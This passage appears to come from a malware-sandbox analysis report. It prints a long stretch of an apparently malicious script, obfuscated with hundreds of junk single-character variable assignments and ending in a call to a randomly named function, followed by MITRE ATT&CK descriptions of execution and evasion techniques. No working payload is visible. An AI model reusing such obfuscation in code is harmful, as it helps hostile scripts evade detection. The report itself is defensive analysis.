537	ponnth = "h";
538	ponnth = "p";
539	ponnth = "S";
540	ponnth = "e";
541	ponnth = "C";
542	ponnth = "Z";
543	ponnth = "G";
544	ponnth = "X";
545	ponnth = "F";
546	ponnth = "R";
547	ponnth = "A";
548	ponnth = "o";
549	ponnth = "t";
550	kicsmptt = "h";
551	kicsmptt = "e";
552	kicsmptt = "s";
553	kicsmptt = "t";
554	kicsmptt = "o";
555	kicsmptt = "i";
556	kicsmptt = "r";
557	kicsmptt = "N";
558	kicsmptt = "S";
559	kicsmptt = "C";
560	kicsmptt = "t";
561	kicsmptt = "g";
562	kicsmptt = "t";
563	kicsmptt = "i";
564	kicsmptt = "l";
565	kicsmptt = "a";
566	kicsmptt = "R";
567	kicsmptt = "V";
568	kicsmptt = "e";
569	kicsmptt = "d";
570	kicsmptt = "s";
571	kicsmptt = "L";
572	kicsmptt = "n";
573	kicsmptt = "k";
574	kicsmptt = "d";
575	kicsmptt = "k";
576	kicsmptt = "D";
577	kicsmptt = "n";
578	kicsmptt = "x";
579	kicsmptt = "b";
580	qqxey = "h";
581	qqxey = "h";
582	qqxey = "l";
583	qqxey = "y";
584	qqxey = "x";
585	qqxey = "s";
586	qqxey = "q";
587	qqxey = "Y";
588	qqxey = "P";
589	qqxey = "j";
590	qqxey = "q";
591	qqxey = "s";
592	qqxey = "A";
593	qqxey = "B";
594	qqxey = "Q";
595	qqxey = "X";
596	qqxey = "K";
597	qqxey = "x";
598	qqxey = "N";
599	qqxey = "t";
600	qqxey = "U";
601	qqxey = "M";
602	qqxey = "W";
603	zwleo = "x";
604	zwleo = "c";
605	zwleo = "p";
606	zwleo = "s";
607	zwleo = "O";
608	zwleo = "E";
609	zwleo = "s";
610	zwleo = "z";
611	zwleo = "G";
612	zwleo = "j";
613	zwleo = "e";
614	zwleo = "A";
615	zwleo = "t";
616	zwleo = "R";
617	zwleo = "W";
618	zwleo = "A";
619	zwleo = "t";
620	zwleo = "A";
621	zwleo = "O";
622	zwleo = "n";
623	zwleo = "A";
624	zwleo = "C";
625	zwleo = "X";
626	zwleo = "r";
627	zwleo = "C";
628	zwleo = "L";
629	zwleo = "E";
630	zwleo = "C";
631	zwleo = "L";
632	zwleo = "s";
633	zwleo = "q";
634	zwleo = "H";
635	uwhdmv = "O";
636	uwhdmv = "b";
637	uwhdmv = "V";
638	uwhdmv = "k";
639	uwhdmv = "n";
640	uwhdmv = "y";
641	uwhdmv = "O";
642	uwhdmv = "g";
643	uwhdmv = "e";
644	uwhdmv = "t";
645	uwhdmv = "U";
646	uwhdmv = "P";
647	uwhdmv = "Z";
648	uwhdmv = "c";
649	uwhdmv = "i";
650	uwhdmv = "v";
651	uwhdmv = "p";
652	uwhdmv = "f";
653	uwhdmv = "G";
654	uwhdmv = "X";
655	uwhdmv = "W";
656	uwhdmv = "x";
657	uwhdmv = "P";
658	uwhdmv = "d";
659	uwhdmv = "c";
660	uwhdmv = "H";
661	uwhdmv = "A";
662	uwhdmv = "E";
663	uwhdmv = "V";
664	uwhdmv = "T";
665	uwhdmv = "9";
666	fafjtoz = "k";
667	fafjtoz = "I";
668	fafjtoz = "e";
669	fafjtoz = "p";
670	fafjtoz = "j";
671	fafjtoz = "n";
672	heodgp = "Q";
673	heodgp = "b";
674	heodgp = "j";
675	heodgp = "x";
676	heodgp = "R";
677	heodgp = "g";
678	heodgp = "Q";
679	heodgp = "U";
680	heodgp = "E";
681	heodgp = "z";
682	heodgp = "s";
683	heodgp = "w";
684	heodgp = "w";
685	heodgp = "m";
686	heodgp = "H";
687	heodgp = "B";
688	heodgp = "k";
689	heodgp = "S";
690	heodgp = "Y";
691	heodgp = "t";
692	heodgp = "m";
693	heodgp = "n";
694	heodgp = "X";
695	heodgp = "K";
696	heodgp = "n";
697	heodgp = "q";
698	heodgp = "C";
699	heodgp = "J";
700	heodgp = "k";
701	heodgp = "J";
702	heodgp = "j";
703	heodgp = "J";
704	heodgp = "I";
705	heodgp = "I";
706	heodgp = "q";
707	heodgp = "p";
708	heodgp = "p";
709	heodgp = "K";
710	heodgp = "y";
711	heodgp = "W";
712	heodgp = "P";
713	zxnvhl = "q";
714	zxnvhl = "w";
715	zxnvhl = "d";
716	zxnvhl = "p";
717	zxnvhl = "x";
718	zxnvhl = "E";
719	zxnvhl = "z";
720	zxnvhl = "K";
721	zxnvhl = "h";
722	zxnvhl = "l";
723	zxnvhl = "O";
724	zxnvhl = "D";
725	zxnvhl = "z";
726	zxnvhl = "i";
727	zxnvhl = "r";
728	zxnvhl = "k";
729	zxnvhl = "H";
730	zxnvhl = "z";
731	zxnvhl = "g";
732	zxnvhl = "y";
733	zxnvhl = "y";
734	zxnvhl = "g";
735	zxnvhl = "M";
736	zxnvhl = "F";
737	zxnvhl = "v";
738	zxnvhl = "m";
739	zxnvhl = "n";
740	zxnvhl = "p";
741	zxnvhl = "a";
742	zxnvhl = "U";
743	zxnvhl = "T";
744	zxnvhl = "F";
745	ghgvfvp = "M";
746	ghgvfvp = "U";
747	ghgvfvp = "R";
748	ghgvfvp = "J";
749	ghgvfvp = "y";
750	ghgvfvp = "p";
751	ghgvfvp = "r";
752	ghgvfvp = "y";
753	ghgvfvp = "T";
754	ghgvfvp = "z";
755	ghgvfvp = "Y";
756	ghgvfvp = "s";
757	ghgvfvp = "B";
758	ghgvfvp = "p";
759	ghgvfvp = "P";
760	ghgvfvp = "Y";
761	ghgvfvp = "p";
762	ghgvfvp = "R";
763	ghgvfvp = "N";
764	ghgvfvp = "L";
765	ghgvfvp = "A";
766	ghgvfvp = "m";
767	ghgvfvp = "A";
768	ghgvfvp = "v";
769	ghgvfvp = "r";
770	ghgvfvp = "H";
771	ghgvfvp = "W";
772	ghgvfvp = "y";
773	ghgvfvp = "j";
774	ghgvfvp = "A";
775	ghgvfvp = "F";
776	ghgvfvp = "w";
777	ghgvfvp = "g";
778	ghgvfvp = "K";
779	dbuxfb = "M";
780	dbuxfb = "a";
781	dbuxfb = "C";
782	dbuxfb = "s";
783	dbuxfb = "j";
784	dbuxfb = "r";
785	dbuxfb = "r";
786	dbuxfb = "U";
787	dbuxfb = "J";
788	dbuxfb = "x";
789	dbuxfb = "d";
790	dbuxfb = "z";
791	dbuxfb = "Z";
792	dbuxfb = "Q";
793	dbuxfb = "O";
794	dbuxfb = "p";
795	dbuxfb = "a";
796	dbuxfb = "L";
797	dbuxfb = "p";
798	dbuxfb = "h";
799	dbuxfb = "D";
800	dbuxfb = "i";
801	dbuxfb = "Z";
802	dbuxfb = "e";
803	dbuxfb = "B";
804	dbuxfb = "z";
805	dbuxfb = "p";
806	dbuxfb = "v";
807	dbuxfb = "z";
808	dbuxfb = "D";
809	dbuxfb = "w";
810	dbuxfb = "t";
811	dbuxfb = "D";
812	dbuxfb = "C";
813	dbuxfb = "f";
814	dbuxfb = "g";
815	dbuxfb = "f";
816	dbuxfb = "k";
817	dbuxfb = "A";
818	dbuxfb = "n";
819	dbuxfb = "U";
820	plkvnj = "g";
821	plkvnj = "q";
822	plkvnj = "I";
823	plkvnj = "D";
824	plkvnj = "U";
825	plkvnj = "H";
826	plkvnj = "v";
827	plkvnj = "P";
828	plkvnj = "h";
829	plkvnj = "J";
830	plkvnj = "k";
831	plkvnj = "C";
832	plkvnj = "W";
833	plkvnj = "t";
834	plkvnj = "S";
835	plkvnj = "u";
836	plkvnj = "R";
837	plkvnj = "G";
838	plkvnj = "x";
839	plkvnj = "j";
840	plkvnj = "z";
841	plkvnj = "y";
842	plkvnj = "b";
843	plkvnj = "B";
844	plkvnj = "V";
845	plkvnj = "I";
846	plkvnj = "b";
847	plkvnj = "z";
848	plkvnj = "F";
849	plkvnj = "O";
850	plkvnj = "t";
851	plkvnj = "L";
852	plkvnj = "D";
853	plkvnj = "t";
854	plkvnj = "w";
855	plkvnj = "b";
856	plkvnj = "n";
857	plkvnj = "J";
858	plkvnj = "k";
859	plkvnj = "m";
860	plkvnj = "y";
861	plkvnj = "M";
862	plkvnj = "h";
863	plkvnj = "E";
864	plkvnj = "l";
865	azgtjjyj = "F";
866	azgtjjyj = "q";
867	azgtjjyj = "z";
868	azgtjjyj = "F";
869	azgtjjyj = "C";
870	azgtjjyj = "d";
871	azgtjjyj = "A";
872	azgtjjyj = "r";
873	azgtjjyj = "F";
874	azgtjjyj = "d";
875	azgtjjyj = "D";
876	azgtjjyj = "i";
877	azgtjjyj = "N";
878	azgtjjyj = "b";
879	azgtjjyj = "M";
880	azgtjjyj = "C";
881	azgtjjyj = "X";
882	azgtjjyj = "X";
883	azgtjjyj = "f";
884	azgtjjyj = "D";
885	azgtjjyj = "K";
886	azgtjjyj = "p";
887	azgtjjyj = "E";
888	iwxguhu = "R";
889	iwxguhu = "l";
890	iwxguhu = "V";
891	iwxguhu = "S";
892	iwxguhu = "d";
893	iwxguhu = "l";
894	iwxguhu = "S";
895	iwxguhu = "W";
896	iwxguhu = "V";
897	iwxguhu = "I";
898	iwxguhu = "V";
899	iwxguhu = "B";
900	iwxguhu = "E";
901	iwxguhu = "J";
902	iwxguhu = "v";
903	iwxguhu = "o";
904	iwxguhu = "w";
905	iwxguhu = "D";
906	iwxguhu = "L";
907	iwxguhu = "D";
908	iwxguhu = "w";
909	iwxguhu = "c";
910	iwxguhu = "H";
911	iwxguhu = "R";
912	iwxguhu = "r";
913	iwxguhu = "E";
914	iwxguhu = "w";
915	iwxguhu = "o";
916	iwxguhu = "d";
917	iwxguhu = "g";
918	iwxguhu = "v";
919	iwxguhu = "y";
920	iwxguhu = "h";
921	hjajhvf = "F";
922	hjajhvf = "J";
923	hjajhvf = "r";
924	hjajhvf = "r";
925	hjajhvf = "D";
926	hjajhvf = "X";
927	hjajhvf = "i";
928	hjajhvf = "j";
929	hjajhvf = "w";
930	hjajhvf = "J";
931	hjajhvf = "G";
932	hjajhvf = "B";
933	hjajhvf = "D";
934	hjajhvf = "r";
935	hjajhvf = "h";
936	hjajhvf = "N";
937	hjajhvf = "B";
938	hjajhvf = "R";
939	hjajhvf = "K";
940	hjajhvf = "B";
941	hjajhvf = "L";
942	hjajhvf = "K";
943	hjajhvf = "X";
944	hjajhvf = "d";
945	hjajhvf = "H";
946	hjajhvf = "b";
947	hjajhvf = "G";
948	hjajhvf = "V";
949	hjajhvf = "b";
950	hjajhvf = "U";
951	hjajhvf = "Z";
952	hjajhvf = "Q";
953	hjajhvf = "N";
954	hjajhvf = "D";
955	hjajhvf = "r";
956	alswdeos = "e";
957	alswdeos = "m";
958	alswdeos = "e";
959	alswdeos = "/";
960	bdgryx = "E";
961	bdgryx = "Y";
962	bdgryx = "m";
963	bdgryx = "q";
964	bdgryx = "k";
965	bdgryx = "L";
966	bdgryx = "z";
967	bdgryx = "y";
968	bdgryx = "X";
969	bdgryx = "m";
970	bdgryx = "a";
971	bdgryx = "Q";
972	bdgryx = "A";
973	bdgryx = "c";
974	bdgryx = "h";
975	bdgryx = "X";
976	bdgryx = "l";
977	bdgryx = "n";
978	bdgryx = "K";
979	bdgryx = "r";
980	bdgryx = "G";
981	bdgryx = "v";
982	bdgryx = "F";
983	bdgryx = "P";
984	bdgryx = "a";
985	bdgryx = "B";
986	bdgryx = "N";
987	bdgryx = "u";
988	bdgryx = "F";
989	bdgryx = "h";
990	bdgryx = "R";
991	bdgryx = "G";
992	bdgryx = "E";
993	bdgryx = "L";
994	bdgryx = "z";
995	bdgryx = "o";
996	bdgryx = "q";
997	bdgryx = "5";
998	rjctimdc = "n";
999	rjctimdc = "V";
1000	rjctimdc = "S";
1001	rjctimdc = "g";
1002	rjctimdc = "K";
1003	rjctimdc = "K";
1004	rjctimdc = "i";
1005	nkrwesu = "f";
1006	nkrwesu = "G";
1007	nkrwesu = "b";
1008	nkrwesu = "J";
1009	nkrwesu = "J";
1010	nkrwesu = "O";
1011	nkrwesu = "O";
1012	nkrwesu = "M";
1013	nkrwesu = "i";
1014	nkrwesu = "G";
1015	nkrwesu = "a";
1016	nkrwesu = "B";
1017	nkrwesu = "T";
1018	nkrwesu = "p";
1019	qhvaoa = "q";
1020	qhvaoa = "f";
1021	qhvaoa = "l";
1022	qhvaoa = "m";
1023	qhvaoa = "G";
1024	qhvaoa = "c";
1025	qhvaoa = "V";
1026	qhvaoa = "h";
1027	qhvaoa = "j";
1028	qhvaoa = "n";
1029	qhvaoa = "B";
1030	qhvaoa = "i";
1031	qhvaoa = "L";
1032	qhvaoa = "j";
1033	qhvaoa = "K";
1034	qhvaoa = "J";
1035	qhvaoa = "d";
1036	qhvaoa = "Y";
1037	qhvaoa = "f";
1038	qhvaoa = "Z";
1039	qhvaoa = "D";
1040	qhvaoa = "y";
1041	qhvaoa = "D";
1042	qhvaoa = "N";
1043	qhvaoa = "c";
1044	qhvaoa = "c";
1045	qhvaoa = "E";
1046	qhvaoa = "x";
1047	qhvaoa = "S";
1048	qhvaoa = "O";
1049	qhvaoa = "Q";
1050	qhvaoa = "p";
1051	qhvaoa = "J";
1052	qhvaoa = "y";
1053	qhvaoa = "x";
1054	qhvaoa = "D";
1055	qhvaoa = "H";
1056	qhvaoa = "B";
1057	qhvaoa = "d";
1058	qhvaoa = "s";
1059	qhvaoa = "G";
1060	qhvaoa = "R";
1061	qhvaoa = "U";
1062	qhvaoa = "j";
1063	qhvaoa = "\"";
1064	ndubqanbi = "f";
1065	ndubqanbi = "c";
1066	ndubqanbi = "W";
1067	ndubqanbi = "e";
1068	ndubqanbi = "T";
1069	ndubqanbi = "O";
1070	ndubqanbi = "Q";
1071	ndubqanbi = "p";
1072	ndubqanbi = "I";
1073	ndubqanbi = "V";
1074	ndubqanbi = "l";
1075	ndubqanbi = "q";
1076	ndubqanbi = "r";
1077	ndubqanbi = "c";
1078	ndubqanbi = "h";
1079	ndubqanbi = "E";
1080	ndubqanbi = "U";
1081	ndubqanbi = "r";
1082	ndubqanbi = "A";
1083	ndubqanbi = "g";
1084	ndubqanbi = "Y";
1085	ndubqanbi = "P";
1086	ndubqanbi = "G";
1087	ndubqanbi = "O";
1088	ndubqanbi = "L";
1089	ndubqanbi = "F";
1090	ndubqanbi = "V";
1091	ndubqanbi = "K";
1092	ndubqanbi = "b";
1093	ndubqanbi = "q";
1094	ndubqanbi = "H";
1095	ndubqanbi = "N";
1096	ndubqanbi = "h";
1097	ndubqanbi = "z";
1098	ndubqanbi = "m";
1099	ndubqanbi = "t";
1100	ndubqanbi = "s";
1101	ndubqanbi = "S";
1102	ndubqanbi = "@";
1103	mgoffy = "q";
1104	mgoffy = "p";
1105	mgoffy = " ";
1106	jwjmso = "W";
1107	jwjmso = "k";
1108	jwjmso = "r";
1109	jwjmso = "x";
1110	jwjmso = "D";
1111	jwjmso = "f";
1112	jwjmso = "f";
1113	jwjmso = "r";
1114	jwjmso = "F";
1115	jwjmso = "J";
1116	jwjmso = "E";
1117	jwjmso = "z";
1118	jwjmso = "C";
1119	jwjmso = "N";
1120	jwjmso = "B";
1121	jwjmso = "F";
1122	jwjmso = "Y";
1123	jwjmso = "b";
1124	jwjmso = "Q";
1125	jwjmso = "Q";
1126	jwjmso = "A";
1127	jwjmso = "T";
1128	jwjmso = "r";
1129	jwjmso = "k";
1130	jwjmso = "s";
1131	jwjmso = "P";
1132	jwjmso = "k";
1133	jwjmso = "V";
1134	jwjmso = "f";
1135	jwjmso = "V";
1136	jwjmso = "g";
1137	jwjmso = "m";
1138	jwjmso = "k";
1139	jwjmso = "r";
1140	jwjmso = "w";
1141	jwjmso = "f";
1142	jwjmso = "F";
1143	jwjmso = "s";
1144	jwjmso = "F";
1145	jwjmso = "Y";
1146	jwjmso = "p";
1147	jwjmso = "h";
1148	jwjmso = "M";
1149	jwjmso = "P";
1150	jwjmso = "f";
1151	mjpotcs = "B";
1152	mjpotcs = "e";
1153	mjpotcs = "I";
1154	mjpotcs = "V";
1155	mjpotcs = "b";
1156	mjpotcs = "N";
1157	mjpotcs = "t";
1158	mjpotcs = "d";
1159	mjpotcs = "K";
1160	mjpotcs = "L";
1161	mjpotcs = "T";
1162	mjpotcs = "I";
1163	mjpotcs = "A";
1164	mjpotcs = "b";
1165	mjpotcs = "L";
1166	mjpotcs = "g";
1167	mjpotcs = "u";
1168	mjpotcs = "M";
1169	mjpotcs = "Q";
1170	mjpotcs = "a";
1171	mjpotcs = "X";
1172	mjpotcs = "a";
1173	mjpotcs = "U";
1174	mjpotcs = "y";
1175	mjpotcs = "V";
1176	mjpotcs = "x";
1177	mjpotcs = "R";
1178	mjpotcs = "V";
1179	mjpotcs = "T";
1180	mjpotcs = "r";
1181	mjpotcs = "Q";
1182	mjpotcs = "f";
1183	mjpotcs = "q";
1184	mjpotcs = "y";
1185	mjpotcs = "z";
1186	mjpotcs = "j";
1187	mjpotcs = "s";
1188	mjpotcs = "v";
1189	mjpotcs = "c";
1190	mjpotcs = "I";
1191	mjpotcs = "s";
1192	mjpotcs = "C";
1193	wqoachl = "t";
1194	wqoachl = "g";
1195	wqoachl = "A";
1196	wqoachl = "u";
1197	wqoachl = "L";
1198	wqoachl = "Q";
1199	wqoachl = "U";
1200	wqoachl = "k";
1201	wqoachl = "W";
1202	wqoachl = "Z";
1203	wqoachl = "I";
1204	wqoachl = "L";
1205	wqoachl = "k";
1206	wqoachl = "s";
1207	wqoachl = "b";
1208	wqoachl = "E";
1209	wqoachl = "F";
1210	wqoachl = "r";
1211	wqoachl = "l";
1212	wqoachl = "n";
1213	wqoachl = "p";
1214	wqoachl = "j";
1215	wqoachl = "l";
1216	wqoachl = "P";
1217	wqoachl = "R";
1218	wqoachl = "k";
1219	wqoachl = "c";
1220	wqoachl = "O";
1221	wqoachl = "s";
1222	wqoachl = "S";
1223	wqoachl = "R";
1224	xpzic = "z";
1225	xpzic = "T";
1226	xpzic = "K";
1227	xpzic = "v";
1228	xpzic = "S";
1229	xpzic = "M";
1230	xpzic = "S";
1231	xpzic = "w";
1232	xpzic = "U";
1233	xpzic = "k";
1234	xpzic = "b";
1235	xpzic = "t";
1236	xpzic = "U";
1237	xpzic = "m";
1238	xpzic = "f";
1239	xpzic = "Z";
1240	xpzic = "G";
1241	xpzic = "C";
1242	xpzic = "T";
1243	xpzic = "r";
1244	xpzic = "Q";
1245	xpzic = "T";
1246	xpzic = "q";
1247	xpzic = "j";
1248	xpzic = "r";
1249	xpzic = "g";
1250	xpzic = "X";
1251	xpzic = "S";
1252	xpzic = "d";
1253	xpzic = "L";
1254	uknnk = "&";
1255	wxyrkcbj = "a";
1256	wxyrkcbj = "V";
1257	wxyrkcbj = "K";
1258	wxyrkcbj = "L";
1259	wxyrkcbj = "u";
1260	wxyrkcbj = "x";
1261	wxyrkcbj = "A";
1262	wxyrkcbj = "E";
1263	wxyrkcbj = "k";
1264	wxyrkcbj = "W";
1265	wxyrkcbj = "g";
1266	wxyrkcbj = "K";
1267	wxyrkcbj = "M";
1268	wxyrkcbj = "V";
1269	wxyrkcbj = "J";
1270	wxyrkcbj = "Q";
1271	wxyrkcbj = "K";
1272	wxyrkcbj = "L";
1273	wxyrkcbj = "r";
1274	wxyrkcbj = "W";
1275	wxyrkcbj = "F";
1276	wxyrkcbj = "H";
1277	wxyrkcbj = "H";
1278	wxyrkcbj = "s";
1279	wxyrkcbj = "U";
1280	wxyrkcbj = "U";
1281	wxyrkcbj = "A";
1282	wxyrkcbj = "H";
1283	wxyrkcbj = "w";
1284	wxyrkcbj = "m";
1285	tnbhx = "G";
1286	tnbhx = "q";
1287	tnbhx = "d";
1288	tnbhx = "T";
1289	tnbhx = "V";
1290	tnbhx = "m";
1291	tnbhx = "n";
1292	tnbhx = "0";
1293	liqhgynm = "v";
1294	liqhgynm = "V";
1295	liqhgynm = "S";
1296	liqhgynm = "X";
1297	liqhgynm = "L";
1298	liqhgynm = "c";
1299	welcdbtr = "l";
1300	welcdbtr = "B";
1301	welcdbtr = "H";
1302	welcdbtr = "v";
1303	welcdbtr = "Q";
1304	welcdbtr = "d";
1305	welcdbtr = "P";
1306	welcdbtr = "o";
1307	welcdbtr = "a";
1308	welcdbtr = "B";
1309	welcdbtr = "r";
1310	welcdbtr = "a";
1311	welcdbtr = "K";
1312	welcdbtr = "x";
1313	welcdbtr = "D";
1314	welcdbtr = "x";
1315	welcdbtr = "y";
1316	welcdbtr = "-";
1317	lxxmb = "c";
1318	lxxmb = "p";
1319	lxxmb = "F";
1320	lxxmb = "N";
1321	lxxmb = "K";
1322	lxxmb = "o";
1323	lxxmb = "o";
1324	lxxmb = "G";
1325	lxxmb = "U";
1326	lxxmb = "Q";
1327	lxxmb = "z";
1328	lxxmb = "m";
1329	lxxmb = "p";
1330	lxxmb = "y";
1331	lxxmb = "k";
1332	lxxmb = "j";
1333	lxxmb = "i";
1334	lxxmb = "T";
1335	lxxmb = "A";
1336	lxxmb = "H";
1337	lxxmb = "C";
1338	lxxmb = "j";
1339	lxxmb = "H";
1340	lxxmb = "D";
1341	lxxmb = "y";
1342	lxxmb = "E";
1343	lxxmb = "Z";
1344	lxxmb = "f";
1345	lxxmb = "c";
1346	lxxmb = "I";
1347	lxxmb = "h";
1348	lxxmb = "X";
1349	lxxmb = "Z";
1350	lxxmb = "u";
1351	lxxmb = "d";
1352	lxxmb = "E";
1353	lxxmb = "O";
1354	lxxmb = "T";
1355	lxxmb = "r";
1356	lxxmb = "h";
1357	lxxmb = "Y";
1358	lxxmb = "E";
1359	lxxmb = "l";
1360	lxxmb = "o";
1361	lxxmb = "T";
1362	kzppc = "c";
1363	kzppc = "Z";
1364	kzppc = "l";
1365	kzppc = "F";
1366	kzppc = "d";
1367	kzppc = "s";
1368	kzppc = "i";
1369	kzppc = "i";
1370	kzppc = "e";
1371	kzppc = "I";
1372	kzppc = "w";
1373	hjcgyegbj = "h";
1374	hjcgyegbj = "Q";
1375	jtncwnu = "i";
1376	jtncwnu = "v";
1377	jtncwnu = "a";
1378	jtncwnu = "Y";
1379	jtncwnu = "Z";
1380	jtncwnu = "o";
1381	jtncwnu = "c";
1382	jtncwnu = "t";
1383	jtncwnu = "M";
1384	jtncwnu = "s";
1385	jtncwnu = "u";
1386	jtncwnu = "l";
1387	jtncwnu = "Z";
1388	jtncwnu = "i";
1389	jtncwnu = "M";
1390	jtncwnu = "m";
1391	jtncwnu = "y";
1392	jtncwnu = "d";
1393	jtncwnu = "g";
1394	jtncwnu = "l";
1395	jtncwnu = "R";
1396	jtncwnu = "q";
1397	jtncwnu = "D";
1398	jtncwnu = "w";
1399	jtncwnu = "m";
1400	jtncwnu = "r";
1401	jtncwnu = "t";
1402	jtncwnu = "M";
1403	jtncwnu = "1";
1404	drmsgavbt = "n";
1405	drmsgavbt = "e";
1406	drmsgavbt = "b";
1407	drmsgavbt = "v";
1408	drmsgavbt = "B";
1409	drmsgavbt = "F";
1410	drmsgavbt = "P";
1411	drmsgavbt = "Q";
1412	drmsgavbt = "s";
1413	drmsgavbt = "J";
1414	drmsgavbt = "D";
1415	drmsgavbt = "P";
1416	drmsgavbt = "e";
1417	drmsgavbt = "L";
1418	drmsgavbt = "D";
1419	drmsgavbt = "S";
1420	bnfkstlkj = "R";
1421	bnfkstlkj = "p";
1422	bnfkstlkj = "F";
1423	bnfkstlkj = "V";
1424	bnfkstlkj = "j";
1425	bnfkstlkj = "y";
1426	bnfkstlkj = "k";
1427	bnfkstlkj = "Z";
1428	bnfkstlkj = "L";
1429	bnfkstlkj = "V";
1430	bnfkstlkj = "I";
1431	bnfkstlkj = "k";
1432	bnfkstlkj = "R";
1433	bnfkstlkj = "j";
1434	bnfkstlkj = "K";
1435	bnfkstlkj = "y";
1436	bnfkstlkj = "V";
1437	bnfkstlkj = "Y";
1438	bnfkstlkj = "d";
1439	bnfkstlkj = "H";
1440	bnfkstlkj = "R";
1441	bnfkstlkj = "s";
1442	bnfkstlkj = "v";
1443	bnfkstlkj = "Y";
1444	myemtoi = "d";
1445	myemtoi = "W";
1446	myemtoi = "n";
1447	myemtoi = "S";
1448	myemtoi = "w";
1449	myemtoi = "l";
1450	myemtoi = "I";
1451	myemtoi = "J";
1452	myemtoi = "b";
1453	myemtoi = "f";
1454	myemtoi = "T";
1455	myemtoi = "M";
1456	myemtoi = "r";
1457	myemtoi = "n";
1458	myemtoi = "w";
1459	myemtoi = "E";
1460	myemtoi = "h";
1461	myemtoi = "b";
1462	myemtoi = "f";
1463	myemtoi = "F";
1464	myemtoi = "b";
1465	myemtoi = "_";
1466	tavpup = "a";
1467	tavpup = "y";
1468	tavpup = "e";
1469	tavpup = "h";
1470	tavpup = "O";
1471	tavpup = "S";
1472	tavpup = "b";
1473	tavpup = "c";
1474	tavpup = "p";
1475	tavpup = "J";
1476	tavpup = "h";
1477	tavpup = "b";
1478	tavpup = "u";
1479	tavpup = "F";
1480	tavpup = "l";
1481	tavpup = "X";
1482	tavpup = "p";
1483	tavpup = "U";
1484	tavpup = "s";
1485	tavpup = "N";
1486	tavpup = "i";
1487	tavpup = "l";
1488	tavpup = "y";
1489	tavpup = "N";
1490	tavpup = "P";
1491	tavpup = "Z";
1492	tavpup = "N";
1493	tavpup = "Q";
1494	tavpup = "d";
1495	tavpup = "O";
1496	tavpup = "n";
1497	tavpup = "h";
1498	tavpup = "k";
1499	tavpup = "U";
1500	tavpup = "O";
1501	tavpup = "Z";
1502	tavpup = "q";
1503	tavpup = "W";
1504	tavpup = "y";
1505	tavpup = "j";
1506	shcjsxtjg = "B";
1507	shcjsxtjg = "J";
1508	shcjsxtjg = "s";
1509	shcjsxtjg = "E";
1510	shcjsxtjg = "e";
1511	shcjsxtjg = "\\";
1512	anbxp = "f";
1513	anbxp = "K";
1514	anbxp = "R";
1515	anbxp = "G";
1516	anbxp = "L";
1517	anbxp = "l";
1518	anbxp = "a";
1519	anbxp = "t";
1520	anbxp = "Z";
1521	anbxp = "p";
1522	anbxp = "I";
1523	anbxp = "a";
1524	anbxp = "U";
1525	anbxp = "y";
1526	anbxp = "R";
1527	anbxp = "C";
1528	anbxp = "r";
1529	anbxp = "W";
1530	anbxp = "x";
1531	anbxp = "o";
1532	anbxp = "F";
1533	anbxp = "L";
1534	anbxp = "O";
1535	anbxp = "%";
1536	qyjjaxb = "h";
1537	qyjjaxb = "b";
1538	qyjjaxb = "i";
1539	qyjjaxb = ":";
1540	exqhtjhz ( );	exqhtjhz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
